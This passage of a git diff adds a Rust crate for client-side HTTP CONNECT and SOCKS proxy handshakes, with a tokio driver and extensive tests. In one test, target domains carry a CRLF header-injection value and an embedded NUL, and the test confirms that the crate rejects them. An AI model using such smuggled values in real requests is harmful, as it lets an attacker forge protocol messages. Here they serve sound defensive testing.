+    request.extend_from_slice(&port.to_be_bytes());
+    Ok(request)
+}
+
+fn socks4_connect_request(
+    target: &Target,
+    credentials: Option<&Credentials>,
+) -> Result<Vec<u8>, ProxyError> {
+    let user_id = credentials
+        .map(|credentials| credentials.username.as_str())
+        .unwrap_or("");
+    // The user id field is NUL-terminated on the wire, so an embedded NUL
+    // would truncate it and shift the fields that follow.
+    if user_id.as_bytes().contains(&0x00) {
+        return Err(ProxyError::Socks4UserIdContainsNul);
+    }
+    let mut request = vec![SOCKS4_VERSION, SOCKS_COMMAND_CONNECT];
+    match target {
+        Target::Address(SocketAddr::V4(address)) => {
+            request.extend_from_slice(&address.port().to_be_bytes());
+            request.extend_from_slice(&address.ip().octets());
+            request.extend_from_slice(user_id.as_bytes());
+            request.push(0x00);
+        }
+        Target::Address(SocketAddr::V6(_)) => return Err(ProxyError::Socks4Ipv4Only),
+        Target::Domain(domain, port) => {
+            // SOCKS4a: the invalid destination address 0.0.0.1 signals that
+            // a host name follows the user id.
+            request.extend_from_slice(&port.to_be_bytes());
+            request.extend_from_slice(&[0, 0, 0, 1]);
+            request.extend_from_slice(user_id.as_bytes());
+            request.push(0x00);
+            request.extend_from_slice(domain.as_bytes());
+            request.push(0x00);
+        }
+    }
+    Ok(request)
+}
+
+#[cfg(test)]
+mod tests {
+    use proptest::prelude::*;
+
+    use super::*;
+
+    #[test]
+    fn http_connect_completes_on_200_and_preserves_leftover() {
+        let server_bytes = b"HTTP/1.1 200 Connection Established\r\n\r\ntunnel-bytes";
+        let (sends, leftover) = run(
+            "http://proxy:8080",
+            &domain_target(),
+            server_bytes,
+            &[server_bytes.len()],
+        )
+        .unwrap();
+
+        assert_eq!(sends.len(), 1);
+        let request = String::from_utf8(sends[0].clone()).unwrap();
+        assert!(
+            request.starts_with("CONNECT cloud.example.com:443 HTTP/1.1\r\n"),
+            "unexpected request: {request:?}"
+        );
+        assert!(request.contains("Host: cloud.example.com:443\r\n"));
+        assert!(request.ends_with("\r\n\r\n"));
+        assert_eq!(leftover, b"tunnel-bytes");
+    }
+
+    #[test]
+    fn http_connect_sends_basic_authorization() {
+        let (sends, _) = run(
+            "http://user:pass@proxy:8080",
+            &domain_target(),
+            b"HTTP/1.1 200 OK\r\n\r\n",
+            &[64],
+        )
+        .unwrap();
+
+        let request = String::from_utf8(sends[0].clone()).unwrap();
+        // "dXNlcjpwYXNz" is base64("user:pass").
+        assert!(
+            request.contains("Proxy-Authorization: Basic dXNlcjpwYXNz\r\n"),
+            "unexpected request: {request:?}"
+        );
+    }
+
+    #[test]
+    fn http_connect_fails_on_error_status() {
+        let error = run(
+            "http://proxy:8080",
+            &domain_target(),
+            b"HTTP/1.1 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic\r\n\r\n",
+            &[64],
+        )
+        .unwrap_err();
+        assert!(matches!(error, ProxyError::HttpConnectRefused(407)));
+    }
+
+    #[test]
+    fn http_connect_rejects_oversized_response() {
+        // A single never-ending header keeps the response incomplete (and
+        // under httparse's header-count limit) until the size cap trips.
+        let mut server_bytes = b"HTTP/1.1 200 OK\r\nX-Padding: ".to_vec();
+        server_bytes.resize(MAX_HTTP_RESPONSE_LENGTH + 1024, b'a');
+        let error = run("http://proxy:8080", &domain_target(), &server_bytes, &[64]).unwrap_err();
+        assert!(matches!(error, ProxyError::HttpResponseTooLarge));
+    }
+
+    #[test]
+    fn http_connect_rejects_oversized_complete_response_in_one_chunk() {
+        // A *well-formed* head over the cap, delivered whole in a single
+        // `advance`, must be rejected too: the cap can't depend on the
+        // driver's read chunking.
+        let mut server_bytes = b"HTTP/1.1 200 OK\r\nX-Padding: ".to_vec();
+        server_bytes.resize(MAX_HTTP_RESPONSE_LENGTH + 1024, b'a');
+        server_bytes.extend_from_slice(b"\r\n\r\n");
+        let error = run(
+            "http://proxy:8080",
+            &domain_target(),
+            &server_bytes,
+            &[server_bytes.len()],
+        )
+        .unwrap_err();
+        assert!(matches!(error, ProxyError::HttpResponseTooLarge));
+    }
+
+    #[test]
+    fn rejects_domains_containing_control_bytes() {
+        for scheme in ["http", "socks4a", "socks5h"] {
+            for domain in ["evil.com\r\nX-Injected: x", "evil.com\0.example.com"] {
+                let spec = spec(&format!("{scheme}://proxy:1080"));
+                let target = Target::Domain(domain.to_string(), 443);
+                let Err(error) = Handshake::new(&spec, &target) else {
+                    panic!("expected {scheme} handshake construction to fail for {domain:?}");
+                };
+                assert!(matches!(error, ProxyError::DomainContainsControlBytes));
+            }
+        }
+    }
+
+    #[test]
+    fn socks4_rejects_user_id_containing_nul() {
+        let spec = spec("socks4://user%00id@proxy:1080");
+        let target = Target::Address("192.0.2.10:443".parse().unwrap());
+        let Err(error) = Handshake::new(&spec, &target) else {
+            panic!("expected handshake construction to fail");
+        };
+        assert!(matches!(error, ProxyError::Socks4UserIdContainsNul));
+    }
+
+    #[test]
+    fn socks5_connect_with_domain_target() {
+        let mut server_bytes = vec![0x05, 0x00];
+        server_bytes.extend_from_slice(&[0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]);
+        server_bytes.extend_from_slice(b"tunnel");
+        let (sends, leftover) = run(
+            "socks5h://proxy:1080",
+            &domain_target(),
+            &server_bytes,
+            &[server_bytes.len()],
+        )
+        .unwrap();
+
+        assert_eq!(sends[0], vec![0x05, 0x01, 0x00]);
+        let mut expected_connect = vec![0x05, 0x01, 0x00, 0x03, 17];
+        expected_connect.extend_from_slice(b"cloud.example.com");
+        expected_connect.extend_from_slice(&443u16.to_be_bytes());
+        assert_eq!(sends[1], expected_connect);
+        assert_eq!(leftover, b"tunnel");
+    }
+
+    #[test]
+    fn socks5_connect_with_username_password() {
+        let mut server_bytes = vec![0x05, 0x02];
+        server_bytes.extend_from_slice(&[0x01, 0x00]);
+        server_bytes.extend_from_slice(&[0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]);
+        let (sends, _) = run(
+            "socks5h://user:pass@proxy:1080",
+            &domain_target(),
+            &server_bytes,
+            &[server_bytes.len()],
+        )
+        .unwrap();
+
+        assert_eq!(sends[0], vec![0x05, 0x01, 0x02]);
+        assert_eq!(sends[1], b"\x01\x04user\x04pass".to_vec());
+        assert_eq!(sends.len(), 3);
+    }
+
+    #[test]
+    fn socks5_reports_connection_refusal() {
+        let mut server_bytes = vec![0x05, 0x00];
+        server_bytes.extend_from_slice(&[0x05, 0x02, 0x00, 0x01, 0, 0, 0, 0, 0, 0]);
+        let error = run(
+            "socks5h://proxy:1080",
+            &domain_target(),
+            &server_bytes,
+            &[server_bytes.len()],
+        )
+        .unwrap_err();
+        assert!(matches!(error, ProxyError::Socks5ConnectRefused(0x02)));
+    }
+
+    #[test]
+    fn socks5_reports_rejected_authentication_method() {
+        let error = run(
+            "socks5h://proxy:1080",
+            &domain_target(),
+            &[0x05, 0xFF],
+            &[2],
+        )
+        .unwrap_err();
+        assert!(matches!(
+            error,
+            ProxyError::AuthMethodRejected { selected: 0xFF }
+        ));
+    }
+
+    #[test]
+    fn socks5_encodes_ip_targets() {
+        let mut server_bytes = vec![0x05, 0x00];
+        server_bytes.extend_from_slice(&[0x05, 0x00, 0x00, 0x01, 0, 0, 0, 0, 0, 0]);
+
+        let target = Target::Address("192.0.2.10:443".parse().unwrap());
+        let (sends, _) = run("socks5://proxy:1080", &target, &server_bytes, &[64]).unwrap();
+        assert_eq!(
+            sends[1],
+            vec![0x05, 0x01, 0x00, 0x01, 192, 0, 2, 10, 0x01, 0xBB]
+        );
+
+        let target = Target::Address("[2001:db8::1]:443".parse().unwrap());
+        let (sends, _) = run("socks5://proxy:1080", &target, &server_bytes, &[64]).unwrap();
+        assert_eq!(sends[1][3], SOCKS5_ADDRESS_IPV6);
+        assert_eq!(sends[1].len(), 4 + 16 + 2);
+    }
+
+    #[test]
+    fn socks5_reply_with_domain_bound_address_is_consumed() {
+        let mut server_bytes = vec![0x05, 0x00];
+        server_bytes.extend_from_slice(&[0x05, 0x00, 0x00, 0x03, 4]);
+        server_bytes.extend_from_slice(b"host");
+        server_bytes.extend_from_slice(&[0, 80]);
+        server_bytes.extend_from_slice(b"rest");
+        let (_, leftover) = run(
+            "socks5h://proxy:1080",
+            &domain_target(),
+            &server_bytes,
+            &[server_bytes.len()],
+        )
+        .unwrap();
+        assert_eq!(leftover, b"rest");
+    }
+
+    #[test]
+    fn socks4_connect_with_ipv4_target() {
+        let target = Target::Address("192.0.2.10:443".parse().unwrap());
+        let (sends, leftover) = run(
+            "socks4://proxy:1080",
+            &target,
+            &[0x00, 0x5A, 0, 0, 0, 0, 0, 0],
+            &[8],
+        )
+        .unwrap();
+        assert_eq!(sends[0], vec![0x04, 0x01, 0x01, 0xBB, 192, 0, 2, 10, 0x00]);
+        assert_eq!(leftover, b"");
+    }
+
+    #[test]
+    fn socks4a_connect_with_domain_target_and_user_id() {
+        let (sends, _) = run(
+            "socks4a://userid@proxy:1080",
+            &domain_target(),
+            &[0x00, 0x5A, 0, 0, 0, 0, 0, 0],
+            &[8],
+        )
+        .unwrap();
+        let mut expected = vec![0x04, 0x01, 0x01, 0xBB, 0, 0, 0, 1];
+        expected.extend_from_slice(b"userid\x00");
+        expected.extend_from_slice(b"cloud.example.com\x00");
+        assert_eq!(sends[0], expected);
+    }
+
+    #[test]
+    fn socks4_rejects_ipv6_targets() {
+        let spec = spec("socks4://proxy:1080");
+        let target = Target::Address("[2001:db8::1]:443".parse().unwrap());
+        let Err(error) = Handshake::new(&spec, &target) else {
+            panic!("expected handshake construction to fail");
+        };
+        assert!(matches!(error, ProxyError::Socks4Ipv4Only));
+    }
+
+    #[test]
+    fn socks4_reports_rejection() {
+        let target = Target::Address("192.0.2.10:443".parse().unwrap());
+        let error = run(
+            "socks4://proxy:1080",
+            &target,
+            &[0x00, 0x5B, 0, 0, 0, 0, 0, 0],
+            &[8],
+        )
+        .unwrap_err();
+        assert!(matches!(error, ProxyError::Socks4ConnectRefused(0x5B)));
+    }
+
+    proptest! {
+        /// The outcome of a handshake must not depend on how the proxy's
+        /// bytes are chunked across reads.
+        #[test]
+        fn chunking_does_not_change_the_outcome(
+            chunk_sizes in proptest::collection::vec(1usize..16, 1..32),
+        ) {
+            for (url, server_bytes) in transcripts() {
+                let baseline = run(url, &domain_target(), &server_bytes, &[server_bytes.len()]);
+                let chunked = run(url, &domain_target(), &server_bytes, &chunk_sizes);
+                match (baseline, chunked) {
+                    (Ok(expected), Ok(actual)) => prop_assert_eq!(expected, actual),
+                    (Err(_), Err(_)) => {}
+                    (baseline, chunked) => {
+                        return Err(TestCaseError::fail(format!(
+                            "outcomes diverged: baseline {baseline:?} vs chunked {chunked:?}"
+                        )));
+                    }
+                }
+            }
+        }
+    }
+
+    /// Scripted proxy conversations used by the chunking property test, each
+    /// with trailing bytes to pin leftover handling.
+    fn transcripts() -> Vec<(&'static str, Vec<u8>)> {
+        let mut socks5 = vec![0x05, 0x02];
+        socks5.extend_from_slice(&[0x01, 0x00]);
+        socks5.extend_from_slice(&[0x05, 0x00, 0x00, 0x03, 4]);
+        socks5.extend_from_slice(b"host");
+        socks5.extend_from_slice(&[0, 80]);
+        socks5.extend_from_slice(b"leftover-bytes");
+
+        vec![
+            (
+                "http://user:pass@proxy:8080",
+                b"HTTP/1.1 200 Connection Established\r\nVia: test\r\n\r\nleftover-bytes".to_vec(),
+            ),
+            ("socks5h://user:pass@proxy:1080", socks5),
+            (
+                "socks4a://userid@proxy:1080",
+                b"\x00\x5A\x00\x00\x00\x00\x00\x00leftover-bytes".to_vec(),
+            ),
+        ]
+    }
+
+    fn spec(url: &str) -> ProxySpec {
+        ProxySpec::parse(&url.parse().unwrap()).unwrap()
+    }
+
+    fn domain_target() -> Target {
+        Target::Domain("cloud.example.com".to_string(), 443)
+    }
+
+    /// Drives a handshake to completion against scripted proxy bytes,
+    /// feeding input in the given chunk sizes (cycled). Returns everything
+    /// the client sent and the leftover bytes reported at completion.
+    fn run(
+        url: &str,
+        target: &Target,
+        server_bytes: &[u8],
+        chunk_sizes: &[usize],
+    ) -> Result<(Vec<Vec<u8>>, Vec<u8>), ProxyError> {
+        let mut handshake = Handshake::new(&spec(url), target)?;
+        let mut sends = Vec::new();
+        let mut remaining = server_bytes;
+        let mut sizes = chunk_sizes.iter().copied().cycle();
+        let mut pending: &[u8] = &[];
+        loop {
+            let step = handshake.advance(pending)?;
+            pending = &[];
+            match step {
+                Step::Send(bytes) => sends.push(bytes),
+                Step::NeedMoreInput => {
+                    assert!(
+                        !remaining.is_empty(),
+                        "handshake wants more input than the transcript provides"
+                    );
+                    let size = sizes
+                        .next()
+                        .expect("chunk_sizes must not be empty")
+                        .clamp(1, remaining.len());
+                    let (chunk, rest) = remaining.split_at(size);
+                    pending = chunk;
+                    remaining = rest;
+                }
+                Step::Done { leftover } => {
+                    let mut leftover = leftover;
+                    // Any transcript bytes not yet fed to the machine are
+                    // also tunnel bytes; account for them so results don't
+                    // depend on chunking.
+                    leftover.extend_from_slice(remaining);
+                    return Ok((sends, leftover));
+                }
+            }
+        }
+    }
+}
diff --git a/crates/proxy_handshake/src/proxy_handshake.rs b/crates/proxy_handshake/src/proxy_handshake.rs
new file mode 100644
index 00000000000000..d098086232bf99
--- /dev/null
+++ b/crates/proxy_handshake/src/proxy_handshake.rs
@@ -0,0 +1,393 @@
+//! Sans-IO client handshakes for HTTP CONNECT and SOCKS proxies.
+//!
+//! Speaks the client side of the protocols needed to tunnel a TCP connection
+//! through a proxy — HTTP CONNECT (RFC 9110 §9.3.6), SOCKS4/4a, and SOCKS5
+//! (RFC 1928, with RFC 1929 username/password authentication) — as a pure
+//! state machine that never touches a socket. Callers own all I/O: resolving
+//! and connecting to the proxy, wrapping the connection in TLS when the proxy
+//! requires it, and pumping bytes between the [`Handshake`] and their
+//! transport. The `futures-io` and `tokio` features add ready-made drivers
+//! for the corresponding I/O traits.
+//!
+//! ```
+//! use proxy_handshake::{Handshake, ProxySpec, Step, Target, Url};
+//!
+//! let url: Url = "http://localhost:8888".parse().unwrap();
+//! let spec = ProxySpec::parse(&url).unwrap();
+//! let target = Target::Domain("example.com".into(), 443);
+//! let mut handshake = Handshake::new(&spec, &target).unwrap();
+//!
+//! // The sans-IO loop: write `Send` bytes to the proxy, feed bytes the proxy
+//! // sent back through `advance`, and start using the stream for the
+//! // tunneled protocol once `Done` is returned.
+//! let Ok(Step::Send(connect_request)) = handshake.advance(&[]) else {
+//!     unreachable!()
+//! };
+//! assert!(connect_request.starts_with(b"CONNECT example.com:443 HTTP/1.1\r\n"));
+//! ```
+
+mod handshake;
+
+#[cfg(feature = "futures-io")]
+pub mod futures_io;
+#[cfg(feature = "tokio")]
+pub mod tokio;
+
+use std::net::SocketAddr;
+
+pub use handshake::{Handshake, Step};
+pub use url::Url;
+
+/// How to reach and authenticate with a proxy: the validated interpretation
+/// of a proxy [`Url`].
+///
+/// A raw [`Url`] can hold any scheme, leaves default ports implicit, and
+/// carries credentials percent-encoded. Parsing into a `ProxySpec` settles
+/// all of that once — unsupported schemes are rejected, scheme-specific
+/// default ports are applied, and credentials are decoded — so the handshake
+/// and its callers never re-derive them.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub struct ProxySpec {
+    pub scheme: ProxyScheme,
+    /// The proxy's host: a domain name or an IP address literal (without
+    /// brackets for IPv6).
+    pub host: String,
+    pub port: u16,
+    pub credentials: Option<Credentials>,
+}
+
+/// The protocol the proxy speaks, taken from the proxy URL's scheme.
+#[derive(Debug, Clone, Copy, PartialEq, Eq)]
+pub enum ProxyScheme {
+    /// An HTTP CONNECT proxy (`http://` or `https://`). `tls` is whether the
+    /// connection *to the proxy itself* is wrapped in TLS (an `https://`
+    /// proxy URL); it is independent of any TLS the tunneled protocol layers
+    /// inside the tunnel.
+    Http { tls: bool },
+    /// A SOCKS4 proxy (`socks4://` or `socks4a://`).
+    Socks4 { remote_dns: bool },
+    /// A SOCKS5 proxy (`socks5://` or `socks5h://`).
+    Socks5 { remote_dns: bool },
+}
+
+/// Proxy credentials, percent-decoded from the URL's userinfo component.
+#[derive(Clone, PartialEq, Eq)]
+pub struct Credentials {
+    pub username: String,
+    pub password: String,
+}
+
+/// Redacts both fields so credentials can't leak through debug formatting of
+/// any containing type. Implemented manually (rather than leaving `Debug`
+/// underived) so a future `#[derive(Debug)]` on this struct is a conscious
+/// choice instead of an accident.
+impl std::fmt::Debug for Credentials {
+    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
+        f.debug_struct("Credentials")
+            .field("username", &"<redacted>")
+            .field("password", &"<redacted>")
+            .finish()
+    }
+}
+
+/// The destination to tunnel to.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub enum Target {
+    /// An unresolved host name and port: DNS resolution is delegated to the
+    /// proxy. With SOCKS4 proxies this is encoded using the SOCKS4a
+    /// extension, which not every SOCKS4 proxy supports.
+    ///
+    /// The host must be a name, not arbitrary text: strings containing ASCII
+    /// control bytes are rejected by [`Handshake::new`], since they could
+    /// otherwise forge protocol structure in the messages the host is
+    /// embedded in.
+    Domain(String, u16),
+    /// An already-resolved socket address. Use this when
+    /// [`ProxySpec::remote_dns`] is false, resolving the host locally first.
+    Address(SocketAddr),
+}
+
+/// The size cap on an HTTP CONNECT response head; a proxy that sends more
+/// than this before the blank line is misbehaving.
+pub const MAX_HTTP_RESPONSE_LENGTH: usize = 8192;
+
+#[derive(Debug, thiserror::Error)]
+pub enum ProxyError {
+    #[error(
+        "unsupported proxy scheme `{0}` (expected http, https, socks4, socks4a, socks5, or socks5h)"
+    )]
+    UnsupportedScheme(String),
+    #[error("proxy URL is missing a host")]
+    MissingHost,
+    #[error("proxy credentials are not valid UTF-8 after percent-decoding")]
+    InvalidCredentials,
+    #[error("SOCKS5 usernames and passwords are limited to 255 bytes")]
+    CredentialsTooLong,
+    #[error("SOCKS target domains are limited to 255 bytes")]
+    DomainTooLong,
+    #[error("target domain contains ASCII control bytes")]
+    DomainContainsControlBytes,
+    #[error("SOCKS4 proxies only support IPv4 targets")]
+    Socks4Ipv4Only,
+    #[error("SOCKS4 user ids cannot contain NUL bytes")]
+    Socks4UserIdContainsNul,
+    #[error("proxy sent a malformed HTTP response: {0}")]
+    MalformedHttpResponse(String),
+    #[error("proxy refused CONNECT with HTTP status {0}")]
+    HttpConnectRefused(u16),
+    #[error("HTTP response from proxy exceeded {MAX_HTTP_RESPONSE_LENGTH} bytes")]
+    HttpResponseTooLarge,
+    #[error("proxy replied with SOCKS version {0:#04x}")]
+    UnexpectedSocksVersion(u8),
+    #[error("SOCKS5 proxy rejected the offered authentication method (selected {selected:#04x})")]
+    AuthMethodRejected { selected: u8 },
+    #[error("SOCKS5 proxy rejected the username/password")]
+    AuthenticationFailed,
+    #[error("SOCKS5 proxy refused the connection: {}", socks5_refusal_message(*.0))]
+    Socks5ConnectRefused(u8),
+    #[error("SOCKS5 proxy sent unknown address type {0:#04x}")]
+    UnknownAddressType(u8),
+    #[error("SOCKS4 proxy rejected the connection (code {0:#04x})")]
+    Socks4ConnectRefused(u8),
+}
+
+/// Errors from a driver establishing a tunnel: either the proxy conversation
+/// failed or the transport did.
+#[cfg(any(feature = "futures-io", feature = "tokio"))]
+#[derive(Debug, thiserror::Error)]
+pub enum EstablishError {
+    #[error(transparent)]
+    Proxy(#[from] ProxyError),
+    #[error(transparent)]
+    Io(#[from] std::io::Error),
+}
+
+impl ProxySpec {
+    /// Parses a proxy URL with an `http`, `https`, `socks4`, `socks4a`,
+    /// `socks5`, or `socks5h` scheme. Missing ports default by scheme (80,
+    /// 443, or 1080). Credentials in the userinfo component are
+    /// percent-decoded, per RFC 3986 §3.2.1.
+    pub fn parse(url: &Url) -> Result<Self, ProxyError> {
+        let scheme = match url.scheme() {
+            "http" => ProxyScheme::Http { tls: false },
+            "https" => ProxyScheme::Http { tls: true },
+            "socks4" => ProxyScheme::Socks4 { remote_dns: false },
+            "socks4a" => ProxyScheme::Socks4 { remote_dns: true },
+            "socks5" => ProxyScheme::Socks5 { remote_dns: false },
+            "socks5h" => ProxyScheme::Socks5 { remote_dns: true },
+            other => return Err(ProxyError::UnsupportedScheme(other.to_string())),
+        };
+
+        let host = match url.host().ok_or(ProxyError::MissingHost)? {
+            url::Host::Domain(domain) => domain.to_string(),
+            url::Host::Ipv4(ip) => ip.to_string(),
+            url::Host::Ipv6(ip) => ip.to_string(),
+        };
+        let default_port = match scheme {
+            ProxyScheme::Http { tls: false } => 80,
+            ProxyScheme::Http { tls: true } => 443,
+            ProxyScheme::Socks4 { .. } | ProxyScheme::Socks5 { .. } => 1080,
+        };
+        let port = url.port().unwrap_or(default_port);
+
+        let credentials = if url.username().is_empty() && url.password().is_none() {
+            None
+        } else {
+            Some(Credentials {
+                username: decode_userinfo(url.username())?,
+                password: decode_userinfo(url.password().unwrap_or_default())?,
+            })
+        };
+
+        Ok(Self {
+            scheme,
+            host,
+            port,
+            credentials,
+        })
+    }
+
+    /// Whether the target should be handed to the proxy as a host name
+    /// ([`Target::Domain`]) instead of being resolved locally. True for HTTP
+    /// CONNECT and the `socks4a`/`socks5h` schemes, matching curl's scheme
+    /// semantics.
+    pub fn remote_dns(&self) -> bool {
+        match self.scheme {
+            ProxyScheme::Http { .. } => true,
+            ProxyScheme::Socks4 { remote_dns } | ProxyScheme::Socks5 { remote_dns } => remote_dns,
+        }
+    }
+
+    /// Whether the connection to the proxy itself must be wrapped in TLS
+    /// before the handshake starts (an `https://` proxy URL).
+    pub fn tls(&self) -> bool {
+        matches!(self.scheme, ProxyScheme::Http { tls: true })
+    }
+}
+
+/// Decodes one component (username or password) of a URL's userinfo, which
+/// RFC 3986 §3.2.1 defines as percent-encoded: the proxy must be sent the
+/// decoded form.
+fn decode_userinfo(component: &str) -> Result<String, ProxyError> {
+    percent_encoding::percent_decode_str(component)
+        .decode_utf8()
+        .map(|decoded| decoded.into_owned())
+        .map_err(|_| ProxyError::InvalidCredentials)
+}
+
+/// Matches `host` against a `NO_PROXY`-style exclusion list: comma-separated
+/// entries that are `*`, an exact host, or a domain suffix (bare, with a
+/// leading dot, or with a leading `*.`). Entries may carry a `:port`, which
+/// is ignored — exclusion is by host. CIDR ranges are not supported.
+pub fn no_proxy_matches(no_proxy: &str, host: &str) -> bool {
+    no_proxy
+        .split(',')
+        .map(str::trim)
+        .filter(|entry| !entry.is_empty())
+        .any(|entry| {
+            if entry == "*" {
+                return true;
+            }
+            // Bare IPv6 literals also contain colons, so only strip a port
+            // when there is exactly one colon and the suffix parses as one.
+            let entry = match entry.rsplit_once(':') {
+                Some((prefix, suffix))
+                    if !prefix.contains(':') && suffix.parse::<u16>().is_ok() =>
+                {
+                    prefix
+                }
+                _ => entry,
+            };
+            let entry = entry.strip_prefix("*.").unwrap_or(entry);
+            let entry = entry.strip_prefix('.').unwrap_or(entry);
+            host.eq_ignore_ascii_case(entry)
+                || (host.len() > entry.len()
+                    && host.as_bytes()[host.len() - entry.len() - 1] == b'.'
+                    && host[host.len() - entry.len()..].eq_ignore_ascii_case(entry))
+        })
+}
+
+/// Human-readable descriptions of the SOCKS5 reply field's error codes,
+/// verbatim from RFC 1928 §6.
+fn socks5_refusal_message(code: u8) -> String {
+    match code {
+        0x01 => "general SOCKS server failure".to_string(),
+        0x02 => "connection not allowed by ruleset".to_string(),
+        0x03 => "network unreachable".to_string(),
+        0x04 => "host unreachable".to_string(),
+        0x05 => "connection refused".to_string(),
+        0x06 => "TTL expired".to_string(),
+        0x07 => "command not supported".to_string(),
+        0x08 => "address type not supported".to_string(),
+        other => format!("unknown error code {other:#04x}"),
+    }
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    #[test]
+    fn parse_applies_default_ports_by_scheme() {
+        assert_eq!(parse("http://proxy.example.com").port, 80);
+        assert_eq!(parse("https://proxy.example.com").port, 443);
+        assert_eq!(parse("socks4://proxy.example.com").port, 1080);
+        assert_eq!(parse("socks5://proxy.example.com").port, 1080);
+        assert_eq!(parse("http://proxy.example.com:3128").port, 3128);
+    }
+
+    #[test]
+    fn parse_maps_schemes() {
+        assert_eq!(parse("http://p").scheme, ProxyScheme::Http { tls: false });
+        assert_eq!(parse("https://p").scheme, ProxyScheme::Http { tls: true });
+        assert_eq!(
+            parse("socks4://p").scheme,
+            ProxyScheme::Socks4 { remote_dns: false }
+        );
+        assert_eq!(
+            parse("socks4a://p").scheme,
+            ProxyScheme::Socks4 { remote_dns: true }
+        );
+        assert_eq!(
+            parse("socks5://p").scheme,
+            ProxyScheme::Socks5 { remote_dns: false }
+        );
+        assert_eq!(
+            parse("socks5h://p").scheme,
+            ProxyScheme::Socks5 { remote_dns: true }
+        );
+    }
+
+    #[test]
+    fn parse_rejects_unknown_scheme() {
+        let url: Url = "ftp://proxy.example.com".parse().unwrap();
+        let Err(error) = ProxySpec::parse(&url) else {
+            panic!("expected parsing to fail");
+        };
+        assert!(matches!(error, ProxyError::UnsupportedScheme(scheme) if scheme == "ftp"));
+    }
+
+    #[test]
+    fn parse_percent_decodes_credentials() {
+        let spec = parse("http://user:p%40ss@proxy.example.com:8080");
+        let credentials = spec.credentials.unwrap();
+        assert_eq!(credentials.username, "user");
+        assert_eq!(credentials.password, "p@ss");
+    }
+
+    #[test]
+    fn parse_supports_username_only_credentials() {
+        let spec = parse("socks4://userid@proxy.example.com");
+        let credentials = spec.credentials.unwrap();
+        assert_eq!(credentials.username, "userid");
+        assert_eq!(credentials.password, "");
+    }
+
+    #[test]
+    fn parse_unbrackets_ipv6_hosts() {
+        assert_eq!(parse("http://[::1]:8080").host, "::1");
+    }
+
+    #[test]
+    fn remote_dns_follows_scheme() {
+        assert!(parse("http://p").remote_dns());
+        assert!(parse("https://p").remote_dns());
+        assert!(!parse("socks4://p").remote_dns());
+        assert!(parse("socks4a://p").remote_dns());
+        assert!(!parse("socks5://p").remote_dns());
+        assert!(parse("socks5h://p").remote_dns());
+    }
+
+    #[test]
+    fn credentials_debug_output_is_redacted() {
+        let credentials = Credentials {
+            username: "user".to_string(),
+            password: "hunter2".to_string(),
+        };
+        let debug_output = format!("{credentials:?}");
+        assert!(!debug_output.contains("hunter2"));
+        assert!(debug_output.contains("<redacted>"));
+    }
+
+    #[test]
+    fn no_proxy_matching() {
+        assert!(no_proxy_matches("example.com", "example.com"));
+        assert!(no_proxy_matches("example.com", "sub.example.com"));
+        assert!(no_proxy_matches(".example.com", "sub.example.com"));
+        assert!(no_proxy_matches("*.example.com", "sub.example.com"));
+        assert!(no_proxy_matches("other.org, example.com", "example.com"));
+        assert!(no_proxy_matches("example.com:443", "example.com"));
+        assert!(no_proxy_matches("*", "anything.at.all"));
+        assert!(no_proxy_matches("EXAMPLE.com", "example.COM"));
+        assert!(no_proxy_matches("::1", "::1"));
+
+        assert!(!no_proxy_matches("example.com", "notexample.com"));
+        assert!(!no_proxy_matches("example.com", "example.org"));
+        assert!(!no_proxy_matches("", "example.com"));
+        assert!(!no_proxy_matches("sub.example.com", "example.com"));
+    }
+
+    fn parse(url: &str) -> ProxySpec {
+        ProxySpec::parse(&url.parse().unwrap()).unwrap()
+    }
+}
diff --git a/crates/proxy_handshake/src/tokio.rs b/crates/proxy_handshake/src/tokio.rs
new file mode 100644
index 00000000000000..eedc4c58bbc5b2
--- /dev/null
+++ b/crates/proxy_handshake/src/tokio.rs
@@ -0,0 +1,139 @@
+//! A driver that runs a [`Handshake`] over [`tokio`](::tokio) I/O traits.
+
+use std::io;
+use std::pin::Pin;
+use std::task::{Context, Poll};
+
+use ::tokio::io::{AsyncRead, AsyncReadExt as _, AsyncWrite, AsyncWriteExt as _, ReadBuf};
+
+use crate::{EstablishError, Handshake, ProxySpec, Step, Target};
+
+/// Runs the proxy handshake over `stream` and returns the tunneled stream.
+///
+/// The stream must already be connected to the proxy (and wrapped in TLS if
+/// [`ProxySpec::tls`] asks for it). See [`Handshake::new`] for how `target`
+/// interacts with DNS resolution.
+pub async fn establish<S>(
+    mut stream: S,
+    spec: &ProxySpec,
+    target: &Target,
+) -> Result<Tunneled<S>, EstablishError>
+where
+    S: AsyncRead + AsyncWrite + Unpin,
+{
+    let mut handshake = Handshake::new(spec, target)?;
+    let mut buffer = [0u8; 4096];
+    let mut received_length = 0;
+    loop {
+        let step = handshake.advance(&buffer[..received_length])?;
+        received_length = 0;
+        match step {
+            Step::Send(bytes) => {
+                stream.write_all(&bytes).await?;
+                stream.flush().await?;
+            }
+            Step::NeedMoreInput => {
+                received_length = stream.read(&mut buffer).await?;
+                if received_length == 0 {
+                    return Err(EstablishError::Io(io::ErrorKind::UnexpectedEof.into()));
+                }
+            }
+            Step::Done { leftover } => {
+                return Ok(Tunneled {
+                    leftover,
+                    offset: 0,
+                    stream,
+                });
+            }
+        }
+    }
+}
+
+/// A tunneled stream returned by [`establish`]: replays the handshake's
+/// leftover bytes before reading from the underlying transport. Writes pass
+/// straight through.
+pub struct Tunneled<S> {
+    leftover: Vec<u8>,
+    offset: usize,
+    stream: S,
+}
+
+impl<S: AsyncRead + Unpin> AsyncRead for Tunneled<S> {
+    fn poll_read(
+        self: Pin<&mut Self>,
+        cx: &mut Context<'_>,
+        buf: &mut ReadBuf<'_>,
+    ) -> Poll<io::Result<()>> {
+        let this = self.get_mut();
+        if this.offset < this.leftover.len() {
+            let remaining = &this.leftover[this.offset..];
+            let length = remaining.len().min(buf.remaining());
+            buf.put_slice(&remaining[..length]);
+            this.offset += length;
+            if this.offset == this.leftover.len() {
+                this.leftover = Vec::new();
+                this.offset = 0;
+            }
+            return Poll::Ready(Ok(()));
+        }
+        Pin::new(&mut this.stream).poll_read(cx, buf)
+    }
+}
+
+impl<S: AsyncWrite + Unpin> AsyncWrite for Tunneled<S> {
+    fn poll_write(
